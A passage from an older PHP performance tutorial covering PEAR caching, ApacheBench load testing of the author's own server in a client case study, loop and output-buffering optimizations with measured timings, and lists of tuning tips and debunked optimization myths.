<p><font size="2">   print &#8220;Cache hit.&lt;br&gt;Data: $data&#8221;;</font></p>
<p><font size="2">} else {</font></p>
<p><font size="2">   $data = &#8220;The quality of mercy is not strained&#8230;&#8221;;<br />
</font><font size="2">  $cache-&gt;save($id, $data, $expires = 60);<br />
</font><font size="2">  print &#8220;Cache miss.&lt;br&gt;&#8221;;</font></p>
<p><font size="2">}</font></p>
<p><font size="2">?&gt;</font></p>
<p></font><font face="Courier New,Courier,Monaco">  </font></p>
<p><font face="Courier New,Courier,Monaco">To save the data we use save(). If your unique key is already a legal file name, you can bypass the generateID() step. Objects and arrays can be saved because save() will serialize the data for you. The last parameter controls when the data expires; this can be the seconds to cache the data, or a Unix integer timestamp giving the date and time to expire the data, or zero to use the default of 24 hours. To retrieve the cached data we use get().</font></p>
<p><font face="Courier New,Courier,Monaco">            </font><font face="Courier New,Courier,Monaco">You can delete a cached data item using $cache-&gt;delete($id)                and remove all cached items using $cache-&gt;flush().</font></p>
<p><font face="Courier New,Courier,Monaco">            </font><font face="Courier New,Courier,Monaco">New: A faster Caching class is <a href="http://pear.php.net/package/Cache_Lite" >Cache-Lite</a>.                Highly recommended.</font></p>
<p><font face="Courier New,Courier,Monaco"><strong>Using Benchmarks</p>
<p></strong></font><font face="Courier New,Courier,Monaco">In earlier section we have covered many performance issues. Now we come to the meat and bones, how to go about measuring and benchmarking your code so you can obtain decent information on what to tune. </font></p>
<p><font face="Courier New,Courier,Monaco">If you want to perform realistic benchmarks on a web server, you will need a tool to send HTTP requests to the server. On Unix, common tools to perform benchmarks include ab (short for apachebench) which is part of the Apache release, and the newer flood (httpd.apache.org/test/flood). On Windows NT/2000 you can use Microsoft&#8217;s free Web Application Stress Tool (webtool.rte.microsoft.com).</font></p>
<p><font face="Courier New,Courier,Monaco">These programs can make multiple concurrent HTTP requests, simulating multiple web clients, and present you with detailed statistics on completion of the tests.</font></p>
<p><font face="Courier New,Courier,Monaco">You can monitor how your server behaves as the benchmarks are conducted on Unix using &#8220;vmstat 1&#8243;. This prints out a status report every second on the performance of your disk i/o, virtual memory and CPU load. Alternatively, you can use &#8220;top d 1&#8243; which gives you a full screen update on all processes running sorted by CPU load every 1 second. </font></p>
<p><font face="Courier New,Courier,Monaco">On Windows 2000, you can use the Performance Monitor or the Task Manager to view your system statistics.</font></p>
<p><font face="Courier New,Courier,Monaco">If you want to test a particular aspect of your code without having to worry about the HTTP overhead, you can benchmark using the microtime(), which returns the current time accurate to the microsecond as a string. The following function will convert it into a number suitable for calculations.</font></p>
<p><font face="Courier New,Courier,Monaco" size="1"><font size="2">function getmicrotime()<br />
</font><font size="2">{ </font><br />
<font size="2"> list($usec, $sec) = explode(&#8221; &#8220;,microtime()); </font><br />
<font size="2">return ((float)$usec + (float)$sec);<br />
</font><font size="2">}</font></p>
<p><font size="2">$time = getmicrotime();</font></p>
<p><font size="2">#<br />
</font><font size="2"># benchmark code here<br />
</font><font size="2"># </font></p>
<p><font size="2">echo &#8220;&lt;p&gt;Time elapsed: &#8220;,getmicrotime() &#8211; $time, &#8221; seconds&#8221;;</font></p>
<p></font><font face="Courier New,Courier,Monaco"> Alternatively, you can use a profiling    tool such as <a href="http://www.linuxjournal.com/article.php?sid=7213" >APD</a>    or <a href="http://xdebug.derickrethans.nl/" >XDebug</a>.</font> Also see my article <a href="http://phplens.com/phpeverywhere/node/view/52" >squeezing code with xdebug</a>.</p>
<p><strong><font face="Courier New,Courier,Monaco">Benchmarking Case Study</p>
<p></font></strong><font face="Courier New,Courier,Monaco">This case study details a real benchmark we did for a client. In this instance, the customer wanted a guaranteed response time of 5 seconds for all PHP pages that did not involve running long SQL queries. The following server configuration was used: an Apache 1.3.20 server running PHP 4.0.6 on Red Hat 7.2 Linux. The hardware was a twin Pentium III 933 MHz beast with 1 Gb of RAM. The HTTP requests will be for the PHP script &#8220;testmysql.php&#8221;. This script reads and processes about 20 records from a MySQL database running on another server. For the sake of simplicity, we assume that all graphics are downloaded from another web server.</p>
<p>We used &#8220;ab&#8221; as the benchmarking tool. We set &#8220;ab&#8221; to perform 1000 requests (-n1000), using 10 simultaneous connections (-c10). Here are the results:</p>
<p></font></p>
<pre><font face="Courier New,Courier,Monaco New, Courier New,Courier,Monaco, mono"># ab   -n1000 -c10 http://192.168.0.99/php/testmysql.php
This is ApacheBench, Version 1.3
Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Copyright (c) 1998-1999 The Apache Group, http://www.apache.org/

Server Software:        Apache/1.3.20
Server Hostname:        192.168.0.99
Server Port:            80

Document Path:          /php/testmysql.php
Document Length:        25970 bytes

Concurrency Level:      10
Time taken for tests:   128.672 seconds
Complete requests:      1000
Failed requests:        0
Total transferred:      26382000 bytes
HTML transferred:       25970000 bytes
Requests per second:    7.77
Transfer rate:          205.03 kb/s received

Connnection Times (ms)
              min   avg   max
Connect:        0     9   114
Processing:   698  1274  2071
Total:        698  1283  2185</font></pre>
<p><font face="Courier New,Courier,Monaco">While running the benchmark, on the server side we monitored the resource utilization    using the command &#8220;top d 1&#8243;. The parameters &#8220;d 1&#8243; mean to delay 1 second between    updates. The output is shown below.</p>
<p></font></p>
<pre><font face="Courier New,Courier,Monaco New, Courier New,Courier,Monaco, mono">10:58pm  up  3:36,  2 users,  load average: <strong>9.07</strong>,<strong> 3.29, 1.79</strong>
74 processes: 63 sleeping, 11 running, 0 zombie, 0 stopped
CPU0 states: <strong>92.0% user</strong>,  <strong>7.0% system</strong>,  0.0% nice,  0.0% idle
CPU1 states: <strong>95.0% user</strong>,  <strong>4.0% system</strong>,  0.0% nice,  0.0% idle
Mem:  1028484K av,  230324K used,  798160K free,      64K shrd,   27196K buff
Swap: 2040244K av,       0K used, 2040244K free                   30360K cached

  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
 1142 apache    20   0  7280 7280  3780 R    21.2  0.7   0:20 httpd
 1154 apache    17   0  8044 8044  3788 S    19.3  0.7   0:20 httpd
 1155 apache    20   0  8052 8052  3796 R    19.3  0.7   0:20 httpd
 1141 apache    15   0  6764 6764  3780 S    14.7  0.6   0:20 httpd
 1174 apache    14   0  6848 6848  3788 S    12.9  0.6   0:20 httpd
 1178 apache    13   0  6864 6864  3804 S    12.9  0.6   0:19 httpd
 1157 apache    15   0  7536 7536  3788 R    11.0  0.7   0:19 httpd
 1159 apache    15   0  7540 7540  3788 R    11.0  0.7   0:19 httpd
 1148 apache    11   0  6672 6672  3784 S    10.1  0.6   0:20 httpd
 1158 apache    14   0  7400 7400  3788 R    10.1  0.7   0:19 httpd
 1163 apache    20   0  7540 7540  3788 R    10.1  0.7   0:19 httpd
 1169 apache    12   0  6856 6856  3796 S    10.1  0.6   0:20 httpd
 1176 apache    16   0  8052 8052  3796 R    10.1  0.7   0:19 httpd
 1171 apache    15   0  7984 7984  3780 S     9.2  0.7   0:18 httpd
 1170 apache    16   0  7204 7204  3796 R     6.4  0.7   0:20 httpd
 1168 apache    10   0  6856 6856  3796 S     4.6  0.6   0:20 httpd
 1377 natsoft   11   0  1104 1104   856 R     2.7  0.1   0:02 top
 1152 apache     9   0  6752 6752  3788 S     1.8  0.6   0:20 httpd
 1167 apache     9   0  6848 6848  3788 S     0.9  0.6   0:19 httpd
    1 root       8   0   520  520   452 S     0.0  0.0   0:04 init
    2 root       9   0     0    0     0 SW    0.0  0.0   0:00 keventd</font></pre>
<p><font face="Courier New,Courier,Monaco"><font face="Courier New,Courier,Monaco">Looking at the output of &#8220;top&#8221;, the    twin CPU Apache server is running flat out with 0% idle time. What is worse    is that the <em>load average</em> is 9.07 for the past minute (and 3.29 for the    past 5 minutes, 1.79 for the past 15 minutes). The load average is the average    number of processes that are ready to be run. For a twin processor server, any    load above 2.0 means that the system is being overloaded. You might notice that    there is a close relationship between load (9.07) and the number of simultaneous    connections (10) that we have defined with ab.</font></p>
<p></font><font face="Courier New,Courier,Monaco">Luckily we have plenty of physical    memory, with about 798,160 Mb free and no virtual memory used.</font></p>
<p><font face="Courier New,Courier,Monaco">Further down we can see the processes    ordered by CPU utilization. The most active ones are the Apache httpd processes.    The first httpd task is using 7280K of memory, and is taking an average of 21.2%    of CPU and 0.7% of physical memory. The STAT column indicates the status: R    is runnable, S is sleeping, and W means that the process is swapped out.</font></p>
<p><font face="Courier New,Courier,Monaco">Given the above figures, and assuming this a typical peak load, we can perform    some planning. If the load average is 9.0 for a twin-CPU server and assuming    each task takes about the same amount of time to complete, then a lightly loaded    server should be 9.0 / 2 CPUs = 4.5 times faster. So a HTTP request that used    to take 1.283 seconds to satisfy at peak load will take about 1.283 / 4.5 =    0.285 seconds to complete.</p>
<p>To verify this, we benchmarked with 2 simultaneous client connections (instead    of 10 in the previous benchmark) to give an average of 0.281 seconds, very close    to the 0.285 seconds prediction!</p>
<p></font></p>
<pre><font face="Courier New, Courier, mono"># ab   -n100 -c2 http://192.168.0.99/php/testmysql.php

[ some lines omitted for brevity ]

Requests per second:    7.10
Transfer rate:          187.37 kb/s received

Connnection Times (ms)
              min   avg   max
Connect:        0     2    40
Processing:   255   279   292
Total:        255   281   332</font></pre>
<p><font face="Courier New,Courier,Monaco">  </font><font face="Courier New,Courier,Monaco">Conversely, doubling the connections, we can predict that the average connection    time should double from 1.283 to 2.566 seconds. In the benchmarks, the actual    time was 2.570 seconds. </font></p>
<p><font face="Courier New,Courier,Monaco"><strong>Overload on 40 connections</p>
<p></strong>  </font><font face="Courier New,Courier,Monaco">When we pushed the benchmark to use 40 connections, the server overloaded with    35% failed requests. On further investigation, it was because the MySQL server    persistent connects were failing because of &#8220;Too Many Connections&#8221;. </font></p>
<p><font face="Courier New,Courier,Monaco">The benchmark also demonstrates the <em>lingering</em> behavior of Apache child    processes. Each PHP script uses 2 persistent connections, so at 40 connections,    we should only be using at most 80 persistent connections, well below the default    MySQL max_connections of 100. However Apache idle child processes are not assigned    immediately to new requests due to latencies, keep-alives and other technical    reasons; these lingering child processes held the remaining 20+ persistent connections    that were &#8220;the straws that broke the Camel&#8217;s back&#8221;.</font></p>
<p><font face="Courier New,Courier,Monaco"><strong>The Fix</p>
<p></strong>  </font><font face="Courier New,Courier,Monaco">By switching to non-persistent database connections, we were able to fix this    problem and obtained a result of 5.340 seconds. An alternative solution would    have been to increase the MySQL max_connections parameter from the default of    100.</font></p>
<p><font face="Courier New,Courier,Monaco"><strong>Conclusions</p>
<p></strong>  </font><font face="Courier New,Courier,Monaco">The above case study once again shows us that optimizing your performance is    extremely complex. It requires an understanding of multiple software subsystems    including network routing, the TCP/IP stack, the amount of physical and virtual    memory, the number of CPUs, the behavior of Apache child processes, your PHP    scripts, and the database configuration.</font></p>
<p><font face="Courier New,Courier,Monaco">In this case the PHP code was quite well tuned, so the first bottleneck was    the CPU, which caused a slowdown in response time. As the load increased, the    system slowed down in a near linear fashion (which is a good sign) until we    encountered the more serious bottleneck of MySQL client connections. This caused    multiple errors in our PHP pages until we fixed it by switching to non-persistent    connections.</font></p>
<p><font face="Courier New,Courier,Monaco">From the above figures, we can calculate for a given desired response time,    how many simultaneous HTTP connections we can handle. Assuming two-way network    latencies of 0.5 seconds on the Internet (0.25s one way), we can predict:</font></p>
<p align="center"><font face="Courier New,Courier,Monaco"><img src="http://phplens.com/lens/php-book/opt/Image4.gif" height="343" width="557" /></font></p>
<p><font face="Courier New,Courier,Monaco">As our client wanted a maximum response time of 5 seconds, the server can handle    up to 34 simultaneous connections per second. This works out to a peak capacity    of 34/5 = 6.8 page views per second. </font></p>
<p><font face="Courier New,Courier,Monaco">To get the maximum number of page views a day that the server can handle, multiply    the peak capacity per second by 50,000 (this technique is suggested by the webmasters    at pair.com, a large web hosting company), to give 340,000 page views a day.</font></p>
<p><font face="Courier New,Courier,Monaco"><strong>Code Optimizations</p>
<p></strong>  </font><font face="Courier New,Courier,Monaco">The patient reader who is still wondering why so much emphasis is given to    discussing non-PHP issues is reminded that PHP is a fast language, and many    of the likely bottlenecks causing slow speeds lie outside PHP.</font></p>
<p><font face="Courier New,Courier,Monaco">Most PHP scripts are simple. They involve reading some session information,    loading some data from a content management system or database, formatting the    appropriate HTML and echoing the results to the HTTP client. Assuming that a    typical PHP script completes in 0.1 seconds and the Internet latency is 0.2    seconds, only 33% of the 0.3 seconds response time that the HTTP client sees    is actual PHP computation. So if you improve a script&#8217;s speed by 20%, the HTTP    client will see response times drop to 0.28 seconds, which is an insignificant    improvement. Of course the server can probably handle 20% more requests for    the same page, so scalability has improved.</font></p>
<p><font face="Courier New,Courier,Monaco">The above example does not mean we should throw our hands up and give up. It    means that we should not feel proud tweaking the last 1% of speed from our code,    but we should spend our time optimizing worthwhile areas of our code to get    higher returns.</font></p>
<p><font face="Courier New,Courier,Monaco"><strong>High Return Code Optimizations</p>
<p></strong>  </font><font face="Courier New,Courier,Monaco">The places where such high returns are achievable are in the while and for    loops that litter our code, where each slowdown in the code is magnified by    the number of times we iterate over them. The best way of understanding what    can be optimized is to use a few examples:</font></p>
<p><font face="Courier New,Courier,Monaco"><strong>Example 1</p>
<p></strong>  </font><font face="Courier New,Courier,Monaco">Here is one simple example that prints an array:</font></p>
<p><font face="Courier New,Courier,Monaco" size="1"><font size="2">for ($j=0; $j&lt;sizeof($arr); $j++) </font><br />
<font size="2">echo $arr[$j].&#8221;&lt;br&gt;&#8221;;</font></p>
<p></font><font face="Courier New,Courier,Monaco">This can be substantially speeded up by changing the code to:</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"><font size="2">for ($j=0, $max = sizeof($arr), $s = &#8221;; $j&lt;$max; $j++)<br />
</font><font size="2">$s .= $arr[$j].&#8221;&lt;br&gt;&#8221;;</font></p>
<p><font size="2">echo $s;</font></p>
<p></font><font face="Courier New,Courier,Monaco">First we need to understand that the expression <em>$j&lt;sizeof($arr)</em> is    evaluated within the loop multiple times. As sizeof($arr) is actually a constant    (invariant), we move the cache the sizeof($arr) in the $max variable. In technical    terms, this is called loop invariant optimization.</p>
<p>The second issue is that in PHP 4, echoing multiple times is slower than storing                everything in a string and echoing it in one call. This is because                <em>echo</em> is an expensive operation that could involve sending                TCP/IP packets to a HTTP client. Of course accumulating the string                in $s has some scalability issues as it will use up more memory,                so you can see a trade-off is involved here.</p>
<p>An alternate way of speeding the above code would be to use output buffering.    This will accumulate the output string internally, and send the output in one    shot at the end of the script. This reduces networking overhead substantially    at the cost of more memory and an increase in latency. In some of my code consisting    entirely of echo statements, performance improvements of 15% have been observed.</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"><font size="2">ob_start();<br />
for ($j=0, $max = sizeof($arr), $s = &#8221;; $j&lt;$max; $j++)</font><br />
<font size="2">echo $arr[$j].&#8221;&lt;br&gt;&#8221;;</font></p>
<p></font><font face="Courier New,Courier,Monaco">  </font><font face="Courier New,Courier,Monaco">Note that output buffering with ob_start() can be used as a global optimization    for all PHP scripts. In long-running scripts, you will also want to flush the    output buffer periodically so that some feedback is sent to the HTTP client.    This can be done with ob_end_flush(). This function also turns off output buffering,    so you might want to call ob_start() again immediately after the flush.</font></p>
<p><font face="Courier New,Courier,Monaco">  </font><font face="Courier New,Courier,Monaco">In summary, this example has shown us how to optimize loop invariants and how    to use output buffering to speed up our code.</font></p>
<p><font face="Courier New,Courier,Monaco"><strong>Example 2</strong></font></p>
<p><font face="Courier New,Courier,Monaco">In the following code, we iterate through a PEAR DB recordset, using a special    formatting function to format a row, and then we echo the results. This time,    I benchmarked the execution time at 10.2 ms (this excludes the database connection    and SQL execution time):</font></p>
<p><font face="Courier New,Courier,Monaco" size="1"><font size="2">function FormatRow(&amp;$recordSet)<br />
{<br />
$arr = $recordSet-&gt;fetchRow();<br />
return &#8216;&lt;b&gt;&#8217;.$arr[0].&#8217;&lt;/b&gt;&lt;i&gt;&#8217;.$arr[1].&#8217;&lt;/i&gt;&#8217;;<br />
}</font></p>
<p><font size="2">for ($j = 0; $j &lt; $rs-&gt;numRows(); $j++) {<br />
print FormatRow($rs);<br />
}</font></p>
<p></font><font face="Courier New,Courier,Monaco">From example 1, we learnt that we can optimize the code by changing the code    to the following (execution time: 8.7 ms):</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"><font size="2">function FormatRow(&amp;$recordSet)<br />
{<br />
$arr = $recordSet-&gt;fetchRow();<br />
return &#8216;&lt;b&gt;&#8217;.$arr[0].&#8217;&lt;/b&gt;&lt;i&gt;&#8217;.$arr[1].&#8217;&lt;/i&gt;&#8217;;<br />
}</font></p>
<p><strong><font size="2">ob_start();</font></p>
<p></strong><font size="2">for ($j = 0, <strong>$max = $rs-&gt;numRows()</strong>; $j &lt; <strong>$max</strong>;    $j++) {<br />
print FormatRow($rs);<br />
}</font></p>
<p></font><font face="Courier New,Courier,Monaco">My benchmarks showed me that the use of $max contributed 0.5 ms and ob_start    contributed 1 ms to the 1.5 ms speedup.</p>
<p>However by changing the looping algorithm we can simplify and speed up the                code. In this case, execution time is reduced to 8.5 ms:</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"><font size="2">function FormatRow($arr)<br />
{<br />
return &#8216;&lt;b&gt;&#8217;.$arr[0].&#8217;&lt;/b&gt;&lt;i&gt;&#8217;.$arr[1].&lt;/i&gt;&#8217;;<br />
}</font></p>
<p><strong><font size="2">ob_start();</font></p>
<p></strong><font size="2">while ($arr = $rs-&gt;fetchRow()) {<br />
print FormatRow($arr);<br />
}</font></p>
<p></font><font face="Courier New,Courier,Monaco">One last optimization is possible here. We can remove the overhead of the function    call (potentially sacrificing maintainability for speed) to shave off another    0.1 milliseconds (execution time: 8.4 ms):</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"><font size="2">ob_start();</font></p>
<p><font size="2">while ($arr = $rs-&gt;fetchRow()) {<br />
print &#8216;&lt;b&gt;&#8217;.$arr[0].&#8217;&lt;/b&gt;&lt;i&gt;&#8217;.$arr[1].&#8217;&lt;/i&gt;&#8217;;<br />
}</font></p>
<p></font><font face="Courier New,Courier,Monaco">By switching to PEAR Cache, execution time dropped again to 3.5 ms for cached    data:</p>
<p></font><font face="Courier New,Courier,Monaco" size="1"><font size="2">require_once(&#8220;Cache/Output.php&#8221;);</font></p>
<p><strong><font size="2">ob_start();</font></p>
<p></strong><font size="2">$cache = new Cache_Output(&#8220;file&#8221;, array(&#8220;cache_dir&#8221; =&gt; &#8220;cache/&#8221;)    );</font></p>
<p><font size="2">$t = getmicrotime();</font></p>
<p><font size="2">if ($contents = $cache-&gt;start(md5(&#8220;this is a unique kexy!&#8221;)))    {<br />
print &#8220;&lt;p&gt;Cache Hit&lt;/p&gt;&#8221;;<br />
print $contents;<br />
} else {<br />
print &#8220;&lt;p&gt;Cache Miss&lt;/p&gt;&#8221;;</font></p>
<p><font size="2">##<br />
## Code to connect and query database omitted<br />
##</font></p>
<p><strong> <font size="2">  while ($arr = $rs-&gt;fetchRow()) {<br />
print &#8216;&lt;b&gt;&#8217;.$arr[0].&#8217;&lt;/b&gt;&lt;i&gt;&#8217;.$arr[1].&#8217;&lt;/i&gt;&#8217;;<br />
}</font></p>
<p></strong> <font size="2">  print $cache-&gt;end(100);<br />
}</font></p>
<p><font size="2">print (getmicrotime()-$t);</font></p>
<p></font><font face="Courier New,Courier,Monaco">We summarize the optimization methods below:</p>
<p></font></p>
<table border="1" cellpadding="7" cellspacing="1" width="640">
<tr>
<td valign="top" width="16%">
<p align="center"><strong><font face="Courier New,Courier,Monaco">ExecutionTime (ms)</font></strong></p>
</td>
<td valign="top" width="84%"><strong><font face="Courier New,Courier,Monaco">Optimization Method</font></strong></td>
</tr>
<tr>
<td valign="top" width="16%">
<p align="center"><font face="Courier New,Courier,Monaco">9.9</font></p>
</td>
<td valign="top" width="84%"><font face="Courier New,Courier,Monaco">Initial code, no optimizations, excluding database connection and SQL execution times.</font></td>
</tr>
<tr>
<td valign="top" width="16%">
<p align="center"><font face="Courier New,Courier,Monaco">9.2</font></p>
</td>
<td valign="top" width="84%"><font face="Courier New,Courier,Monaco">Using ob_start</font></td>
</tr>
<tr>
<td valign="top" width="16%">
<p align="center"><font face="Courier New,Courier,Monaco">8.7</font></p>
</td>
<td valign="top" width="84%"><font face="Courier New,Courier,Monaco">Optimizing loop invariants ($max) and using ob_start</font></td>
</tr>
<tr>
<td valign="top" width="16%">
<p align="center"><font face="Courier New,Courier,Monaco">8.5</font></p>
</td>
<td valign="top" width="84%"><font face="Courier New,Courier,Monaco">Changing from for-loop to while-loop, and passing an array to FormatRow()and using ob_start</font></td>
</tr>
<tr>
<td valign="top" width="16%">
<p align="center"><font face="Courier New,Courier,Monaco">8.4</font></p>
</td>
<td valign="top" width="84%"><font face="Courier New,Courier,Monaco">Removing FormatRow()and using ob_start</font></td>
</tr>
<tr>
<td valign="top" width="16%">
<p align="center"><font face="Courier New,Courier,Monaco">3.5</font></p>
</td>
<td valign="top" width="84%"><font face="Courier New,Courier,Monaco">Using PEAR Cache and using ob_start</font></td>
</tr>
</table>
<p><font face="Courier New,Courier,Monaco">From the above figures, you can see that biggest speed improvements are derived    not from tweaking the code, but by simple global optimizations such as ob_start(),    or using radically different algorithms such as HTML caching.</p>
<p></font></p>
<table align="center" bgcolor="#cccccc" border="1" bordercolor="#333333" cellpadding="0" cellspacing="0" width="90%">
<tr>
<td><font face="Courier New,Courier,Monaco"><strong>Optimizing Object-oriented Programming</p>
<p></strong>        </font><font face="Courier New,Courier,Monaco">In March 2001, I conducted some informal benchmarks with classes on PHP          4.0.4pl1, and I derived some advice from the results. The three main points          are:</font></p>
<p><font face="Courier New,Courier,Monaco">      </font><font face="Courier New,Courier,Monaco">1. Initialise all variables before use. </font></p>
<p><font face="Courier New,Courier,Monaco">      </font><font face="Courier New,Courier,Monaco">2. Dereference all global/property variables that are frequently used          in a method and put the values in local variables if you plan to access          the value more than twice.</font></p>
<p><font face="Courier New,Courier,Monaco">      </font><font face="Courier New,Courier,Monaco">3. Try placing frequently used methods in the derived classes. </font></p>
<p><font face="Courier New,Courier,Monaco">      </font><font face="Courier New,Courier,Monaco">Warning: as PHP is going through a continuous improvement process, things          might change in the future.</font></p>
<p><font face="Courier New,Courier,Monaco">      <strong>More Details</p>
<p></strong>        </font><font face="Courier New,Courier,Monaco">I have found that calling object methods (functions defined in a class)          are about twice as slow as a normal function calls. To me that&#8217;s quite          acceptable and comparable to other OOP languages. </font></p>
<p><font face="Courier New,Courier,Monaco">      </font><font face="Courier New,Courier,Monaco">Inside a method (the following ratios are approximate only): </font></p>
<p><font face="Courier New,Courier,Monaco">      </font></p>
<ol type="a"><font face="Courier New,Courier,Monaco"></p>
<li>Incrementing a local variable in a method is the fastest. Nearly the            same as calling a local variable in a function.</li>
<li>Incrementing a global variable is 2 times slow than a local var.</li>
<li>Incrementing a object property (eg. $this-&gt;prop++) is 3 times slower            than a local variable.</li>
<li>Incrementing an undefined local variable is 9-10 times slower than            a pre-initialized one.</li>
<li>Just declaring a global variable without using it in a function also            slows things down (by about the same amount as incrementing a local            var). PHP probably does a check to see if the global exists.</li>
<li>Method invocation appears to be independent of the number of methods            defined in the class because I added 10 more methods to the test class            (before and after the test method) with no change in performance.</li>
<li>Methods in derived classes run faster than ones defined in the base            class.</li>
<li>A function call with one parameter and an empty function body takes            about the same time as doing 7-8 $localvar++ operations. A similar method            call is of course about 15 $localvar++ operations.Update: 11 July 2004:           The above test was on PHP 4.0.4, about 3 years ago.            I tested this again in PHP4.3.3 and  calling a function            now takes about 20 $localvar++           operations, and calling a method takes about 30 $localvar++ operations. This could be            because $localvar++ runs faster now, or functions are slower.</li>
<p></font></ol>
<p><font face="Courier New,Courier,Monaco">      </font> <font face="Courier New,Courier,Monaco">      </font></td>
</tr>
</table>
<p><font face="Courier New,Courier,Monaco">  <strong>Summary of Tweaks</p>
<p></strong></font></p>
<ol type="a"><font face="Courier New,Courier,Monaco"><strong> </strong></p>
<li>The more you understand the software you are using (Apache, PHP, IIS, your      database) and the deeper your knowledge of the operating system, networking      and server hardware, the better you can perform global optimizations on your      code and your system.</li>
<li>For PHP scripts, the most expensive bottleneck is normally the CPU. Twin      CPUs are probably more useful than two Gigabytes of RAM.</li>
<li>Compile PHP with the &#8220;configure –-enable-inline-optimization&#8221; option to      generate the fastest possible PHP executable.</li>
<li>Tune your database and index the fields that are commonly used in your SQL      WHERE criteria. <a rel="nofollow" href="http://adodb.sourceforge.net/" >ADOdb</a>, the very      popular database abstraction library, provides a <a href="http://phplens.com/lens/adodb/docs-perf.htm" >SQL      tuning mode</a>, where you can view your invalid, expensive and suspicious      SQL, their execution plans and in which PHP script the SQL was executed.</li>
<li>Use HTML caching if you have data that rarely changes. Even if the data      changes every minute, caching can help provided the data is synchronized with      the cache. Depending on your code complexity, it can improve your performance      by a factor of 10.</li>
<li>Benchmark your most complex code early (or at least a prototype), so you      get a feel of the expected performance before it is too late to fix. Try to      use realistic amounts of test data to ensure that it scales properly.     Updated 11 July 2004: To benchmark with an execution profile of all function calls, you can try the <a href="http://xdebug.org/" >xdebug extension</a>. For a brief tutorial of      how i use xdebug, see <a href="http://phplens.com/phpeverywhere/node/view/52" >squeezing code with xdebug</a>. There are commercial products to do this also, eg.     <a href="http://zend.com/store/products/zend-studio.php" >Zend Studio</a>.</li>
<li>Consider using a opcode cache. This gives a speedup of between 10-200%,      depending on the complexity of your code. Make sure you do some stress tests      before you install a cache because some are more reliable than others.</li>
<li>Use ob_start() at the beginning of your code. This gives you a 5-15% boost      in speed for free on Apache. You can also use gzip compression for extra fast      downloads (this requires spare CPU cycles).</li>
<li>Consider installing Zend Optimizer. This is free and does some optimizations,      but be warned that some scripts actually slow down when Zend Optimizer is      installed. The consensus is that Zend Optimizer is good when your code has      lots of loops. Today many opcode accelerators have similar features (added      this sentence 21 Oct 2003).</li>
<li>Optimize your loops first. Move loop invariants (constants) outside the loop.</li>
<li>Use the array and string functions where possible. They are faster than      writing equivalent code in PHP.</li>
<p></font><font face="Courier New,Courier,Monaco"></p>
<li>The fastest way to concatenate multiple small strings into one large string is to create an output buffer (ob_start) and to echo into the buffer. At the end get the contents using ob_get_contents. This works because memory allocation is normally the killer in string concatenation, and output buffering allocates a large 40K initial buffer that grows in 10K chunks. Added 22 June 2004.</li>
<p></font></p>
<p><font face="Courier New,Courier,Monaco"></p>
<li><font face="Courier New,Courier,Monaco">Pass objects and arrays using references      in functions.</font> Return objects and arrays as references where possible      also. If this is a short script, and code maintenance is not an issue, you      can consider using global variables to hold the objects or arrays.               <font face="Courier New,Courier,Monaco"> </font><font face="Courier New,Courier,Monaco">    </font><font face="Courier New,Courier,Monaco">                </font></li>
<p><font face="Courier New,Courier,Monaco"></p>
<li>If you have many PHP scripts that use session variables, consider      recompiling PHP using the shared memory module for sessions, or use a RAM Disk. Enable this with      &#8220;configure -–with-mm&#8221; then re-compile PHP, and set session.save_handler=mm      in php.ini.</li>
<li>For searching for substrings, the fastest code is using strpos(), followed      by preg_match() and lastly ereg(). Similarly, str_replace() is faster than      preg_replace(), which is faster than ereg_replace().</li>
<li>Added 11 July 2004: Order large switch statements with most frequently occuring cases on top. If some               of the most common cases are in the default section, consider explicitly defining these               cases at the top of the switch statement.</li>
<li> For processing XML, parsing with regular expressions is significantly faster than using DOM or SAX.</li>
<li>Unset() variables that are not used anymore to reduce memory usage. This      is mostly useful for resources and large arrays.</li>
<li>For classes with deep hierarchies, functions defined in derived classes      (child classes) are invoked faster than those defined in base class (parent      class). Consider replicating the most frequently used code in the base class      in the derived classes too.</li>
<li>Consider writing your code as a PHP extension or a Java class or a COM object      if your need that extra bit of speed. Be careful of the overhead of marshalling      data between COM and Java.</li>
<p></font><br />
</font></ol>
<p><font face="Courier New,Courier,Monaco"><br />
</font><font face="Courier New,Courier,Monaco"><strong><font face="Courier New, Courier, mono">Useless Optimizations</font></strong></font></p>
<p><font face="Courier New,Courier,Monaco">              </font><font face="Courier New,Courier,Monaco"><font face="Courier New, Courier, mono">Some optimizations are useful. Others are a waste of time &#8211; sometimes the improvement is neglible, and sometimes the PHP internals change, rendering the tweak obsolete.</font></font></p>
<p><font face="Courier New,Courier,Monaco">              </font><font face="Courier New,Courier,Monaco"><font face="Courier New, Courier, mono">Here are some common PHP legends:</font></font></p>
<p><font face="Courier New,Courier,Monaco">              </font><font face="Courier New,Courier,Monaco"><font face="Courier New, Courier, mono"><em>a. echo is faster than print</em></font></font></p>
<p><font face="Courier New,Courier,Monaco">              </font><font face="Courier New,Courier,Monaco"><font face="Courier New, Courier, mono">Echo is supposed to be faster because it doesn&#8217;t return a value while print does. From my benchmarks with PHP 4.3, the difference is neglible. And under some situations, print is faster than echo (when ob_start is enabled).</font></font></p>
<p><font face="Courier New,Courier,Monaco">              </font><font face="Courier New,Courier,Monaco"><font face="Courier New, Courier, mono"><em>b. strip off comments to speed up code</em></font></font></p>
<p><font face="Courier New,Courier,Monaco">              </font><font face="Courier New,Courier,Monaco"><font face="Courier New, Courier, mono">If you use an opcode cache, comments are already ignored. This is a myth from PHP3 days, when each line of PHP was interpreted in run-time.</font></font></p>
<p><font face="Courier New,Courier,Monaco">              </font><font face="Courier New,Courier,Monaco"><font face="Courier New, Courier, mono"><em> c. <strong>&#8216;var=&#8217;.$var</strong> is faster than <strong>&#8220;var=$var&#8221;</strong></em></font></font></p>
<p><font face="Courier New,Courier,Monaco">              </font><font face="Courier New,Courier,Monaco"><font face="Courier New, Courier, mono">This used to be true in PHP 4.2 and earlier. This was fixed in PHP 4.3. Note (22 June 2004): apparently the 4.3 fix reduced the overhead, but not completely. However I find the performance difference to be negligible.</font></font></p>
<p><font face="Courier New,Courier,Monaco">                         <font face="Courier New,Courier,Monaco"> <font face="Courier New,Courier,Monaco">  </font></p>
